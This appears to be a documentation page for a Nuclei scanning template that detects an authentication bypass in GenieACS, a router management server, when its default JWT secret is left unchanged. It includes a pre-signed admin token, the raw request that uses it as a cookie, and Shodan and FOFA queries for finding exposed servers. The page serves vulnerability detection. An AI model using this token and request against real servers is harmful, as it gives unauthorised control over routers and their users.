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GenieACS - Authentication Bypass (Default JWT Secret)

ID: genieacs-default-jwt

Severity: high

Author: DhiyaneshDK,pussycat0x

Tags: misconfig,jwt,genieacs,default-jwt

Description

Section titled “Description”

GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret “secret” is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named “genieacs-ui-jwt” with its value being the JWT token.

YAML Source

Section titled “YAML Source”
id: genieacs-default-jwt


info:
  name: GenieACS - Authentication Bypass (Default JWT Secret)
  author: DhiyaneshDK,pussycat0x
  severity: high
  description: |
    GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
  reference:
    - https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
  classification:
    cwe-id: CWE-798
    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genieacs
    product: genieacs
    shodan-query:
      - http.html:"genieacs"
      - http.favicon.hash:-2098066288
    fofa-query:
      - body="genieacs"
      - icon_hash=-2098066288
  tags: misconfig,jwt,genieacs,default-jwt
variables:
  cookie_name: genieacs-ui-jwt
  default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c


http:
  - raw:
      - |
        GET /api/presets/?filter=true HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/*
        Cookie: {{cookie_name}}={{default_jwt_secret}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"provision":'
          - '"provisionArgs":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200


    extractors:
      - type: dsl
        dsl:
          - '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'
# digest: 4a0a0047304502203550363ae11173bb2ac16f95a374e9ea75fe415f402bf4a14051f5ca4523eb30022100e99d9674642c4efd92125505e0009123171bc8af1e081c5125cd84483848e895:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/genieacs-default-jwt.yaml"

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